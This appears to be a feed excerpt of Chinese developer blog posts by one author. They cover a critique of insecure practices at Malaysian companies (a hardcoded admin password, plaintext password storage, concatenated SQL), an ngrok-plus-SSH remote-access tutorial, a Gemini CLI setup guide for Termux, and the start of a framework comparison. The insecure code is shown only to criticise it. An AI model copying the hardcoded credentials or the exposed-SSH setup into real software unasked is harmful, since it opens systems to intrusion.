&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;adminUsername&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;adminPassword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;123456&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;然后这家公司还拒绝引入 &lt;code&gt;.env&lt;/code&gt; 或加密方案，理由是：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“麻烦，没时间搞。”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;你上线的是一个拥有后台权限的应用诶，不是你家门口的电灯开关。&lt;/p&gt;

&lt;p&gt;这种行为说难听点就是：&lt;strong&gt;主动裸奔，还怪天气太热。&lt;/strong&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  公司 D：Spring Boot 项目全 GET 接口 + 明文密码
&lt;/h3&gt;

&lt;p&gt;这家 Java 后端项目更是让我大开眼界：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;所有接口都用 GET 请求（包括用户创建、修改、删除）&lt;/li&gt;
&lt;li&gt;没有使用 ORM，全靠拼接 SQL&lt;/li&gt;
&lt;li&gt;没有使用 OOP，全程 procedural&lt;/li&gt;
&lt;li&gt;密码字段以明文存储在 MySQL 中，无加密、无 Hash、无 Salt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;他们甚至说这“更方便调试和查询”。&lt;/p&gt;

&lt;p&gt;但你知道这代表什么吗？&lt;br&gt;
只要一个 SQL 注入，整个数据库就可以被直接 dump。更别提&lt;strong&gt;GDPR、PDPA、安全合规&lt;/strong&gt;这一类根本不在他们的词典里。&lt;/p&gt;




&lt;h2&gt;
  
  
  借口一大堆，但都是逃避责任的幌子
&lt;/h2&gt;

&lt;p&gt;在我指出问题后，常常收到的回应是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“我们以前写 Delphi 的”&lt;/li&gt;
&lt;li&gt;“我是从 C# 转过来的”&lt;/li&gt;
&lt;li&gt;“语言不同，写法也不同”&lt;/li&gt;
&lt;li&gt;“客户看不到代码，能跑就行”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我只想说：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;我也写过 COBOL 给银行做核心系统，也写过用 Erlang 实现的电信 SIP 调度项目。&lt;br&gt;
但换语言就该换思维，别拿“过往经验”当挡箭牌，写垃圾代码不配叫“兼容思维”。&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  真实案例：马来西亚官方 Flutter 项目发生用户数据泄露
&lt;/h2&gt;

&lt;p&gt;我曾向某马来西亚交通部相关 Flutter 项目的团队报告严重的用户信息泄露漏洞（泄露包括身份证号码、用户实名、注册地址等全套数据），&lt;/p&gt;

&lt;p&gt;我还完整撰写了报告并发布于我个人漏洞档案页：&lt;/p&gt;

&lt;p&gt;🔗 &lt;a href="https://www.ctkqiang.xin/bug-bounty-journal/case/20250324-24f24c.html" rel="noopener noreferrer"&gt;Bug Bounty 案例分析 - 2025年3月24日&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;直到今天，无回应，无修复，无公告。&lt;/p&gt;

&lt;p&gt;这样的官方项目都如此对待数据隐私，让我深感寒心。&lt;/p&gt;




&lt;h2&gt;
  
  
  技术人的底线，不能靠“差不多”撑着
&lt;/h2&gt;

&lt;p&gt;我不是在否定整个马来西亚软件行业，的确也有认真负责的团队，但在我所接触的百余家公司里：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;至少 70% 存在严重的技术不规范与安全意识缺失的问题。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我写这篇文章，不是为了抱怨，而是为了敲响一个警钟：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;写烂代码可以短期交付，但你留不住客户&lt;/li&gt;
&lt;li&gt;系统架构乱七八糟，维护的人每天都在流血&lt;/li&gt;
&lt;li&gt;UI/UX 随意堆砌，用户体验烂掉，产品不会有未来&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;你写代码的方式，就是你做人做事的方式。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;你代码乱，我也会怀疑你的生活方式是不是也一团糟。&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  💬 欢迎讨论
&lt;/h2&gt;

&lt;p&gt;你是否也经历过这些“地狱级”的开发现场？&lt;br&gt;
你是否也为职业底线一次次被迫妥协而感到疲惫？&lt;/p&gt;

&lt;p&gt;欢迎留言，我们一起来聊聊 ——&lt;br&gt;
别让“能上线”成为你对技术的全部理解。&lt;/p&gt;




</description>
      <category>cleancode</category>
      <category>malaysia</category>
    </item>
    <item>
      <title>用 ngrok + SSH 实现公网远程控制电脑</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Thu, 10 Jul 2025 16:14:29 +0000</pubDate>
      <link>https://forem.com/ctkqiang/yong-ngrok-ssh-shi-xian-gong-wang-yuan-cheng-kong-zhi-dian-nao-42an</link>
      <guid>https://forem.com/ctkqiang/yong-ngrok-ssh-shi-xian-gong-wang-yuan-cheng-kong-zhi-dian-nao-42an</guid>
      <description>&lt;h3&gt;
  
  
  项目背景
&lt;/h3&gt;

&lt;p&gt;当网络处于 NAT/不稳定的公网 IP 环境下，简单通过 SSH 连接内网主机是不可能的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;无法缓解 NAT&lt;/li&gt;
&lt;li&gt;远程无法直接 ssh 自己网络内的主机&lt;/li&gt;
&lt;li&gt;公司或家庭网络常常封锁 22 端口&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;ngrok 利用「逆向 TCP 隔离网络通道」，实现了一个有效的「软公网」模型。内网主机主动连接 ngrok，且外网可通过接口 TCP 重应连接，达成一个安全连通。&lt;/p&gt;




&lt;h3&gt;
  
  
  架构设计图
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;手机或远程控制终端]
          |
      ssh &lt;span class="nt"&gt;-p&lt;/span&gt; 12345 user@x.tcp.ngrok.io
          |
&lt;span class="o"&gt;[&lt;/span&gt;ngrok 公网中继服务器]
          |
    Secure Tunnel &lt;span class="o"&gt;(&lt;/span&gt;ngrokd&lt;span class="o"&gt;)&lt;/span&gt;
          |
&lt;span class="o"&gt;[&lt;/span&gt;你的 Mac / Windows SSH 服务]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  1. 配置 SSH 服务器
&lt;/h2&gt;

&lt;h4&gt;
  
  
  macOS
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemsetup &lt;span class="nt"&gt;-setremotelogin&lt;/span&gt; on
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;测试本地 SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh youruser@localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Windows
&lt;/h4&gt;

&lt;p&gt;打开 PowerShell (管理员):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Add-WindowsCapability&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Online&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;OpenSSH.Server~~~~0.0.1.0&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Start-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sshd&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sshd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-StartupType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Automatic'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;测试本地 SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh youruser@localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7k8dtq0afxfju20lgtvt.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7k8dtq0afxfju20lgtvt.jpeg" alt="在这里插入图片描述" width="800" height="1777"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  2. 配置 ngrok TCP 逆向通道
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;注册 ngrok: &lt;a href="https://ngrok.com" rel="noopener noreferrer"&gt;https://ngrok.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;下载 CLI: &lt;a href="https://ngrok.com/download" rel="noopener noreferrer"&gt;https://ngrok.com/download&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;配置 Token:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ngrok config add-authtoken &amp;lt;your-token&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;启动 SSH TCP 选项:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ngrok tcp 22
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tcp://4.tcp.ngrok.io:12345 → localhost:22
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. 远程连接命令结构
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh youruser@4.tcp.ngrok.io &lt;span class="nt"&gt;-p&lt;/span&gt; 12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;建议配置 SSH config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Host my-mac
    HostName 4.tcp.ngrok.io
    Port 12345
    User youruser
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;连接可简化为:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh my-mac
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. 跨平台遥控命令对比
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;macOS (终端)&lt;/th&gt;
&lt;th&gt;Windows (PowerShell / CMD)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;锁屏&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pmset displaysleepnow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rundll32.exe user32.dll,LockWorkStation&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;睡眠&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pmset sleepnow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rundll32.exe powrprof.dll,SetSuspendState 0,1,0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;关机&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sudo shutdown -h now&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;shutdown /s /f /t 0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;重启&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sudo shutdown -r now&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;shutdown /r /f /t 0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;登出&lt;/td&gt;
&lt;td&gt;&lt;code&gt;osascript -e 'tell app "System Events" to log out'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;shutdown /l&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;通知框&lt;/td&gt;
&lt;td&gt;&lt;code&gt;osascript -e 'display notification "Hi 灵儿" with title "SSH"'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;msg * "你好"&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  5. 安全性加固
&lt;/h2&gt;

&lt;p&gt;使用 SSH 公钥:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; ed25519
ssh-copy-id youruser@localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;禁用密码登陆:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/ssh/sshd_config

&lt;span class="c"&gt;# 修改:&lt;/span&gt;
PasswordAuthentication no
PermitRootLogin no
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;限制 ngrok TCP 访问:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ngrok tcp 22 &lt;span class="nt"&gt;--acl&lt;/span&gt; &lt;span class="nv"&gt;allow_cidr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;203.0.113.0/24
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. 自动化脚本
&lt;/h2&gt;

&lt;p&gt;启动 ngrok 并输出 URL&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
ngrok tcp 22 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ~/ngrok.log &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;2
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'tcp://.*'&lt;/span&gt; ~/ngrok.log | &lt;span class="nb"&gt;tee&lt;/span&gt; ~/ngrok_url.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;一键锁屏:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh my-mac &lt;span class="s1"&gt;'pmset displaysleepnow'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;请下方评论让我知道你最喜欢哪一部分哟～&lt;/p&gt;

</description>
      <category>ssh</category>
      <category>terminal</category>
    </item>
    <item>
      <title>在Termux中安装和使用Google Gemini CLI的完整指南</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Mon, 30 Jun 2025 18:10:54 +0000</pubDate>
      <link>https://forem.com/ctkqiang/zai-termuxzhong-an-zhuang-he-shi-yong-google-gemini-clide-wan-zheng-zhi-nan-o4o</link>
      <guid>https://forem.com/ctkqiang/zai-termuxzhong-an-zhuang-he-shi-yong-google-gemini-clide-wan-zheng-zhi-nan-o4o</guid>
      <description>&lt;h2&gt;
  
  
  什么是Google Gemini CLI？
&lt;/h2&gt;

&lt;p&gt;Google Gemini CLI是一个命令行工具，允许开发者直接在终端中与Google的Gemini AI模型交互。它提供了简单高效的方式来测试和集成Gemini的强大AI能力到你的开发工作流中。&lt;/p&gt;

&lt;p&gt;Gemini是Google最新推出的大型语言模型，具有强大的自然语言理解和生成能力，可以用于代码生成、问题解答、内容创作等多种场景。&lt;/p&gt;




&lt;h3&gt;
  
  
  在Termux中安装Gemini CLI
&lt;/h3&gt;

&lt;p&gt;Termux是Android设备上的强大终端模拟器，下面我们一步步教你如何在Termux中安装和使用Gemini CLI。&lt;/p&gt;




&lt;h2&gt;
  
  
  1. 准备工作
&lt;/h2&gt;

&lt;p&gt;首先确保你的Termux是最新版本，并更新软件包：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pkg update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; pkg upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;安装必要的依赖：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pkg &lt;span class="nb"&gt;install &lt;/span&gt;nodejs-lts git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. 安装Gemini CLI
&lt;/h2&gt;

&lt;p&gt;通过npm全局安装Gemini CLI：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @google/gemini-cli
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fenmr9tihluk8m1uu2bre.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fenmr9tihluk8m1uu2bre.jpeg" alt="在这里插入图片描述" width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;安装过程可能需要几分钟，取决于你的网络速度。安装完成后你会看到类似这样的输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;changed 431 packages &lt;span class="k"&gt;in &lt;/span&gt;37s
123 packages are looking &lt;span class="k"&gt;for &lt;/span&gt;funding
   run &lt;span class="sb"&gt;`&lt;/span&gt;npm fund&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;details
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. 配置API密钥
&lt;/h2&gt;

&lt;p&gt;要使用Gemini CLI，你需要一个Google Gemini API密钥。获取密钥后，在Termux中创建配置文件：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vim .env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;在文件中添加你的API密钥：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;GEMINI_API_KEY&lt;/span&gt;&lt;span class="o"&gt;={&lt;/span&gt;你的API密钥&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. 启动Gemini CLI
&lt;/h2&gt;

&lt;p&gt;配置完成后，只需输入以下命令即可启动：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gemini
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqf5323r5vrhgu7ch7omm.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqf5323r5vrhgu7ch7omm.jpeg" alt="在这里插入图片描述" width="800" height="1030"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;你将进入Gemini的交互界面，可以开始与AI对话了！&lt;/p&gt;

&lt;p&gt;基本使用方法&lt;/p&gt;

&lt;p&gt;启动Gemini后，你可以：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;直接输入问题或指令与AI交互&lt;/li&gt;
&lt;li&gt;使用@符号后跟文件路径让AI分析文件内容&lt;/li&gt;
&lt;li&gt;输入/help查看所有可用命令&lt;/li&gt;
&lt;li&gt;选择不同的主题和设置&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 你好
♦ 你好！有什么我可以帮助你的吗？
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdzdxq65euc6fncrgr6zg.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdzdxq65euc6fncrgr6zg.jpeg" alt="在这里插入图片描述" width="800" height="738"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  常见问题解决
&lt;/h3&gt;

&lt;p&gt;安装缓慢：可以尝试更换npm源为国内镜像：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm config &lt;span class="nb"&gt;set &lt;/span&gt;registry https://registry.npm.taobao.org
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;权限问题：如果安装失败，尝试加上&lt;code&gt;sudo&lt;/code&gt;或使用&lt;code&gt;npm install --unsafe-perm&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;API密钥无效：确保密钥正确且已启用，检查&lt;code&gt;.env&lt;/code&gt;文件的位置和格式。&lt;/p&gt;

&lt;p&gt;在Termux中使用Gemini CLI为移动开发者提供了随时随地访问强大AI能力的便利。无论是学习编程、调试代码还是获取技术建议，Gemini都能成为你得力的助手。&lt;/p&gt;

&lt;p&gt;赶快按照本文的步骤安装体验吧！如果你在使用过程中遇到任何问题，欢迎在评论区留言讨论。&lt;/p&gt;

</description>
      <category>google</category>
      <category>gemini</category>
      <category>cli</category>
    </item>
    <item>
      <title>Lynx vs React Native vs Flutter 全面对比：三大跨端框架实测分析</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Thu, 26 Jun 2025 06:52:31 +0000</pubDate>
      <link>https://forem.com/ctkqiang/lynx-vs-react-native-vs-flutter-quan-mian-dui-bi-san-da-kua-duan-kuang-jia-shi-ce-fen-xi-45d1</link>
      <guid>https://forem.com/ctkqiang/lynx-vs-react-native-vs-flutter-quan-mian-dui-bi-san-da-kua-duan-kuang-jia-shi-ce-fen-xi-45d1</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffmy5gkmw5jymw6tr501l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffmy5gkmw5jymw6tr501l.png" alt="在这里插入图片描述" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;一文看懂三大热门跨端技术的&lt;strong&gt;历史渊源、架构机制、开发体验、包体积对比与性能评估&lt;/strong&gt;。&lt;br&gt;&lt;br&gt;
我陪你用实测数据带你理性选型，不踩坑，不盲信。&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  1. 框架简介：它们是谁？来自哪里？干嘛用？
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;框架名称&lt;/th&gt;
&lt;th&gt;所属公司&lt;/th&gt;
&lt;th&gt;发布时间&lt;/th&gt;
&lt;th&gt;初衷 / 定位&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;React Native&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Meta（Facebook）&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;用 JS 写原生 App，复用 Web 经验&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flutter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;谷歌&lt;/td&gt;
&lt;td&gt;2018&lt;/td&gt;
&lt;td&gt;全自绘 UI，打造统一的多端体验&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Lynx&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;字节跳动&lt;/td&gt;
&lt;td&gt;内部框架&lt;/td&gt;
&lt;td&gt;高性能轻量级 UI 渲染引擎，替代 RN 场景&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  🔹 React Native
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;用 React + JavaScript 写 App；&lt;/li&gt;
&lt;li&gt;通过 JS Bridge 与 Native 通信；&lt;/li&gt;
&lt;li&gt;生态成熟，适合快速开发。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔹 Flutter
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;使用 Dart 语言；&lt;/li&gt;
&lt;li&gt;自带渲染引擎（Skia），UI 全自绘；&lt;/li&gt;
&lt;li&gt;性能强，跨端一致性高。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔹 Lynx（字节跳动内部框架）
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;使用 AST DSL 或类 Vue 语法；&lt;/li&gt;
&lt;li&gt;使用自研渲染引擎（C++ 实现）；&lt;/li&gt;
&lt;li&gt;小而快，适合嵌入式、信息流、IoT 场景。&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. 架构对比：底层是怎么工作的？
&lt;/h2&gt;

